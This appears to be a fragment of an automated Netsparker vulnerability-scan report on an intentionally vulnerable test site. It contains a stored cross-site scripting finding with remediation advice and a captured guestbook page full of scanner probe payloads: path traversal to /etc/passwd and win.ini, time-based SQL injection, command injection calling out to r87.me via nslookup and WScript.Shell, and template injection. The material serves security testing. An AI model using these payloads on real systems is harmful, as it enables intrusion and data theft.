+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

file:///etc/passwd

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ |expr${IFS}268409241${IFS}-${IFS}2 +

+
+

/../../../../../../../../../../proc/versionďż˝.aspx

+

+ 8/23/2017 8:06:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ 1));SELECT pg_sleep(25)-- +

+
+ + + +
12
+
+ + +
+
+ + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud detected possible stored cross-site scripting, which allows an attacker to execute dynamic scripts (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/JavaScript/VBScript within the browser. "Permanent" means that the attack will be stored in the backend system. In normal cross-site scripting, an attacker needs to e-mail the victim, but in a permanent cross-site scripting, an attacker can simply execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.

]]>
+ Stored XSS is a dangerous issue that has many exploitation vectors, some of which include:
  • User session sensitive information such as cookies can be stolen.
  • XSS can enable client-side worms which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.
]]>
+ + +

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters, with which you will populate a whitelist. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured whitelist libraries available for many different environments; good examples of these include OWASP Reform and Microsoft Anti cross-site scripting libraries.

]]>
+ ]]> + ]]> + +
+ + http://testsparker.com/GuestbookList.aspx/%2522ns%253D%2522netsparker%25280x0043D4%2529 + PossiblePermanentXss + [Possible] Stored Cross-site Scripting + Important + 75 + False + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + GET + + + + + + + 200 + 2476,3554 + + + + + Bitcoin Web Site + + + + +
+
+ + + +
+ + + + +
+ + + + +
+ +
+
+ + + + +

Last Comments

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Smith

+

+ 8/23/2017 8:10:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:21 AM +

+

+ +

+
+

r87.com/?http://aspnet.testsparker.com/

+

+ 8/23/2017 8:10:21 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:10:20 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:10:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:19 AM +

+

+ +

+
+

Guestbook.aspxďż˝

+

+ 8/23/2017 8:10:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:18 AM +

+

+ %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002B25%29%3C%2FscRipt%3E +

+
+

Smith

+

+ 8/23/2017 8:10:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:17 AM +

+

+ ns:netsparker056650=vuln +

+
+

r87.com/?aspnet.testsparker.com/

+

+ 8/23/2017 8:10:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:16 AM +

+

+ ns:netsparker056650=vuln +

+
+

Smith

+

+ 8/23/2017 8:10:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:15 AM +

+

+ '"--> +

+
+

Smith

+

+ 8/23/2017 8:10:15 AM +

+

+ http://example.com/? +ns: netsparker056650=vuln +

+
+

Smith

+

+ 8/23/2017 8:10:15 AM +

+

+ #{28275*28275-(13)} +

+
+

Smith

+

+ 8/23/2017 8:10:14 AM +

+

+ ${28275*28275-(13)} +

+
+

//r87.com/?http://aspnet.testsparker.com/

+

+ 8/23/2017 8:10:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:13 AM +

+

+ +

+
+

Guestbook.aspx

+

+ 8/23/2017 8:10:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:12 AM +

+

+ +

+
+

data:;base64,TlM3NzU0NTYxNDQ2NTc1

+

+ 8/23/2017 8:10:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:11 AM +

+

+ ns:netsparker056650=vuln +

+
+

Smith

+

+ 8/23/2017 8:10:11 AM +

+

+ +

+
+

http://r87.com/?aspnet.testsparker.com/

+

+ 8/23/2017 8:10:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:10 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

+

+ 8/23/2017 8:10:09 AM +

+

+ +

+
+

#{28275*28275-(13)}

+

+ 8/23/2017 8:10:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:09 AM +

+

+ +

+
+

/etc/passwd

+

+ 8/23/2017 8:10:08 AM +

+

+ +

+
+

${28275*28275-(13)}

+

+ 8/23/2017 8:10:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:07 AM +

+

+ +

+
+

arguments[1].end(require('child_process').execSync('expr 268409241 - 22'))

+

+ 8/23/2017 8:10:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:07 AM +

+

+ +

+
+

http://r87.com/?aspnet.testsparker.com/

+

+ 8/23/2017 8:10:06 AM +

+

+ +

+
+

1/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:10:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:06 AM +

+

+ r87.com/n +

+
+

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd

+

+ 8/23/2017 8:10:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:05 AM +

+

+ +

+
+

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd

+

+ 8/23/2017 8:10:05 AM +

+

+ +

+
+

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

+

+ 8/23/2017 8:10:05 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:05 AM +

+

+ -1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" +

+
+

Smith

+

+ 8/23/2017 8:10:04 AM +

+

+ -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

"+print localtime()*0+0xFFF9999-22+"

+

+ 8/23/2017 8:10:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:04 AM +

+

+ +

+
+

'+print localtime()*0+0xFFF9999-22+'

+

+ 8/23/2017 8:10:03 AM +

+

+ +

+
+

eval('print localtime()*0+0xFFF9999-22')

+

+ 8/23/2017 8:10:03 AM +

+

+ +

+
+

...//...//...//...//...//...//...//...//...//...//...//etc/passwd

+

+ 8/23/2017 8:10:03 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:03 AM +

+

+ -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

/../../../../../../../../../../../etc/passwdďż˝.aspx

+

+ 8/23/2017 8:10:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:02 AM +

+

+ '+((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

Smith

+

+ 8/23/2017 8:10:02 AM +

+

+ +

+
+

print localtime()*0+0xFFF9999-22

+

+ 8/23/2017 8:10:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:01 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

Smith

+

+ 8/23/2017 8:10:00 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝

+

+ 8/23/2017 8:10:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:00 AM +

+

+ ));SELECT pg_sleep(25)-- +

+
+

Smith

+

+ 8/23/2017 8:09:59 AM +

+

+ '));SELECT pg_sleep(25)-- +

+
+

file:///etc/passwd

+

+ 8/23/2017 8:09:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:59 AM +

+

+ +

+
+

[php]print(int)0xFFF9999-22;[/php]

+

+ 8/23/2017 8:09:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:59 AM +

+

+ ');SELECT pg_sleep(25)-- +

+
+

Smith

+

+ 8/23/2017 8:09:58 AM +

+

+ php://filter//resource=http://r87.com/n?ďż˝.aspx +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:09:58 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:09:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:58 AM +

+

+ );SELECT pg_sleep(25)-- +

+
+

'{${print(int)0xFFF9999-22}}'

+

+ 8/23/2017 8:09:57 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:57 AM +

+

+ SELECT pg_sleep(25)-- +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:09:57 AM +

+

+ +

+
+

/../../../../../../../../../../proc/versionďż˝.aspx

+

+ 8/23/2017 8:09:57 AM +

+

+ +

+
+

{php}print(int)0xFFF9999-22;{/php}

+

+ 8/23/2017 8:09:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:56 AM +

+

+ ;SELECT pg_sleep(25)-- +

+
+

Smith

+

+ 8/23/2017 8:09:56 AM +

+

+ http://r87.com/n?.aspx +

+
+

Smith

+

+ 8/23/2017 8:09:55 AM +

+

+ ';SELECT pg_sleep(25)-- +

+
+

+

+ 8/23/2017 8:09:55 AM +

+

+ +

+
+

http://example.com/? +ns: netsparker056650=vuln

+

+ 8/23/2017 8:09:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:55 AM +

+

+ 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 +

+
+

Smith

+

+ 8/23/2017 8:09:54 AM +

+

+ +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:09:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:54 AM +

+

+ 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' +

+
+

"+print(int)0xFFF9999-22+"

+

+ 8/23/2017 8:09:53 AM +

+

+ +

+
+

/../../../../../../../../../../proc/version

+

+ 8/23/2017 8:09:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:53 AM +

+

+ http://r87.com/n?ďż˝.aspx +

+
+

Smith

+

+ 8/23/2017 8:09:53 AM +

+

+ (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) +

+
+

/../../../../../../../../../../var/log/apache/error.log

+

+ 8/23/2017 8:09:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:52 AM +

+

+ |expr${IFS}268409241${IFS}-${IFS}2 +

+
+

'+print(int)0xFFF9999-22+'

+

+ 8/23/2017 8:09:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:52 AM +

+

+ ((select sleep(25)))a-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:52 AM +

+

+ |nslookup${IFS}"o010_rdnxu19k9chh5tbbyojxvthogj-bgugbpdu""np8.r87.me" +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:51 AM +

+

+ "&nslookup "o010_rdnxud6pcldcpwfpwyqkkfj-ppegaokpyop""v90.r87.me" +

+
+

/../../../../../../../../../../var/log/apache2/error.log

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:51 AM +

+

+ -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 +

+
+

+print(int)0xFFF9999-22;//

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:51 AM +

+

+ '&nslookup "o010_rdnxu3vfnc2mjmdsmqjf1_u4efyppjssgz3""apw.r87.me" +

+
+

/../../../../../../../../../../etc/httpd/logs/error_log

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:50 AM +

+

+ hTTp://r87.com/n +

+
+

Smith

+

+ 8/23/2017 8:09:50 AM +

+

+ + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:50 AM +

+

+ &nslookup "o010_rdnxuywyz0nnht1rm1nopeh1zxovrslrvcc""7j8.r87.me" +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:50 AM +

+

+ nslookup "o010_rdnxuyq6restihprsdjetv_0rnd_6gqctvt""dny.r87.me" +

+
+

Smith

+

+ 8/23/2017 8:09:50 AM +

+

+ syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

/../../../../../../../../../../etc/httpd/logs/error.log

+

+ 8/23/2017 8:09:49 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:49 AM +

+

+ "& nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&'\"`0&nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&`' +

+
+

Smith

+

+ 8/23/2017 8:09:49 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:49 AM +

+

+ 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:49 AM +

+

+ '& nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&'\"`0&nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&`' +

+
+

Smith

+

+ 8/23/2017 8:09:48 AM +

+

+ 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

Smith

+

+ 8/23/2017 8:09:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:47 AM +

+

+ & nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&'\"`0&nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&`' +

+
+

/../../../../../../../../../../proc/self/fd/2ďż˝.aspx

+

+ 8/23/2017 8:09:47 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:47 AM +

+

+ 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

Smith

+

+ 8/23/2017 8:09:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:47 AM +

+

+ nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&'\"`0&nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&`' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:46 AM +

+

+ "+gethostbyname(lc 'o010_rdnxuc1kpaqluummwkxtdftvikqzwjbmnhf'.'lj4.r87.me')+" +

+
+

print(int)0xFFF9999-22;

+

+ 8/23/2017 8:09:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:46 AM +

+

+ '+gethostbyname(lc 'o010_rdnxukwipnmwcjrkytxckegtjtyk2jayovs'.'cvw.r87.me')+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:45 AM +

+

+ eval('gethostbyname(lc 'o010_rdnxug9f9g-nzu2dlhbrkjok_u2i-yssk8n'.'jv4.r87.me')') +

+
+

print(int)0xFFF9999-22

+

+ 8/23/2017 8:09:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:45 AM +

+

+ gethostbyname(lc 'o010_rdnxuwddhhgbmd88or-l3djvhd4dvihy94x'.'6bo.r87.me') +

+
+

<% response.write(268409241-22) %>

+

+ 8/23/2017 8:09:45 AM +

+

+ +

+
+

"+response.write(268409241-22)+"

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:44 AM +

+

+ "+createobject("WScript.Shell").exec("nslookup o010_rdnxucr_42triopl-fvdxyaved2d3dtea7p" & "hf8.r87.me").StdOut.ReadAll+" +

+
+

Smith

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:44 AM +

+

+ expr 268409241 - 2 +

+
+

+response.write(268409241-22)'

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:44 AM +

+

+ <%createobject("WScript.Shell").exec("nslookup o010_rdnxuaakbzptetvtkyhcbhevkw_pofadg_p" & "asu.r87.me").StdOut.ReadAll%> +

+
+

Smith

+

+ 8/23/2017 8:09:43 AM +

+

+ 1)) WAITFOR DELAY '0:0:25'-- +

+
+

response.write(268409241-22)'

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:43 AM +

+

+ +createobject("WScript.Shell").exec("nslookup o010_rdnxumjo7pm0arhrb_jrdcjlrrfkdkeo1dq" & "olq.r87.me").StdOut.ReadAll+ +

+
+

/../../../../../../../../../../proc/self/fd/2

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:43 AM +

+

+ +createobject("WScript.Shell").exec("nslookup o010_rdnxu46jg4wgbmtobm1eci9qjg6tt4vtgft" & "k80.r87.me").StdOut.ReadAll +

+
+

/../../../../../../../../../../windows/iis6.log

+

+ 8/23/2017 8:09:42 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:42 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:42 AM +

+

+ ping -w 25 127.0.0.1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:42 AM +

+

+ createobject("WScript.Shell").exec("nslookup o010_rdnxuluwjl7qpa4o-rzvstjnss571afrgve" & "g44.r87.me").StdOut.ReadAll +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ expr 268409241 - 2; +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ ping -n 25 127.0.0.1 +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ ')) WAITFOR DELAY '0:0:25'-- +

+
+

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ ping -w 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:40 AM +

+

+ '{${gethostbyname(trim('o010_rdnxubxkmsnyneuncldd41-zkaquy4saeqr'.'mdy.r87.me'))}}' +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:39 AM +

+

+ &ping -w 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:39 AM +

+

+ +

+
+

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

+

+ 8/23/2017 8:09:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:39 AM +

+

+ "+gethostbyname(trim('o010_rdnxu76nwik58btklkeqwz1f2q6w5otgqqg'.'v7w.r87.me'))+" +

+
+

Smith

+

+ 8/23/2017 8:09:39 AM +

+

+ '&ping -w 25 127.0.0.1 &' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:38 AM +

+

+ '+gethostbyname(trim('o010_rdnxupij3a5-w7z80zwhe_ygrzgwgqlmgly'.'5ik.r87.me'))+' +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ ;expr 268409241 - 2;x +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ ') WAITFOR DELAY '0:0:25'-- +

+
+

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ "&ping -w 25 127.0.0.1 &" +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:37 AM +

+

+ +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));// +

+
+

Smith

+

+ 8/23/2017 8:09:37 AM +

+

+ ping -n 25 127.0.0.1 & +

+
+

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

+

+ 8/23/2017 8:09:37 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ & ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ ';expr 268409241 - 2;' +

+
+

c:\windows\win.ini

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ '& ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ 1) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:35 AM +

+

+ gethostbyname(trim('o010_rdnxupd9q5ji7xvvbcaicpnypm8chfpjuen'.'ecc.r87.me')); +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ "& ping -n 25 127.0.0.1 & +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:34 AM +

+

+ gethostbyname(trim('o010_rdnxuq8bbsk37pdde8ccpiocscf2k5j-fid'.'tle.r87.me')) +

+
+

Smith

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.iniďż˝.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ ";expr 268409241 - 2;" +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ WAITFOR DELAY '0:0:25'-- +

+
+

file:/windows/win.ini

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.ini

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ 1 WAITFOR DELAY '0:0:25'-- +

+
+

/../../../../../../../../../../web.config

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

c%3a%5cboot.ini

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

hTTp://r87.com/n

+

